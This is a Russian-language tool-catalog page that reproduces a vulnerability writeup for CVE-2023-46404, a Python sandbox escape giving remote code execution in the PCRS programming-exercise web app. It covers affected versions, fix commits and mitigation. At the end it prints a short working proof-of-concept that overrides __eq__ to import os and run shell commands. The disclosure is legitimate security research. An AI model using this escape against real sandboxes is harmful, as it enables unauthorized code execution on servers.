Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-46404 — PoC and Writeup for CVE-2023-46404. | Kitploit
Инструменты/GitHubGitHub/windecks/cve-2023-46404
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubwindecks/cve-2023-46404

CVE-2023-46404

PoC and Writeup for CVE-2023-46404.

Репозиторий
32 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-46404

PCRS — это веб-приложение для онлайн-упражнений по программированию, разработанное в Университете Торонто. См. репозиторий Bitbucket: https://bitbucket.org/utmandrew/pcrs/src/3.11/

Краткое описание

Страница "Questions" PCRS с отправкой кода и страница "Code editor" уязвимы для удаленного выполнения кода (RCE) из-за обхода песочницы Python.

Подробности

Удаленное выполнение кода может быть достигнуто в экземплярах PCRS с использованием объектов-генераторов. Используя фреймы генераторов (gi_frame) и f_back, скрипты могут выйти за пределы изолированного стека и выполнить вредоносный код в среде без изоляции. Кроме того, нормализация Unicode легко обходит базовую санитаризацию ввода. Любой аутентифицированный пользователь с минимальными привилегиями может выполнить эту атаку. См. PoC для более подробной информации.

Известные затронутые версии

  • PCRS <= 3.11 d0de1e с выполнением Python.
  • Исправление реализовано в 9326ad3 с частичной компенсацией в fbaedd3.

Способы смягчения

Создание безопасных механизмов изоляции с нуля чревато недочетами и уязвимостями. Как всегда, лучше изолировать среду выполнения, чем язык.

Дополнительно

Переопределение __eq__ может быть использовано в ограниченной среде:

root@kitploit:~
def f():
    mod_name = "os"
    fake_name = "json"
    os = __import__(type("s", (str,), {"__eq__": lambda x, y: y == fake_name or y == mod_name, "__hash__": lambda x: hash(mod_name)})(mod_name))
    os.system("id > /tmp/test.txt")
    s = ᵒpen("/tmp/test.txt").read() # unicode normalization of the "open" function
    os.system("rm /tmp/test.txt")
    return s
Скачать инструмент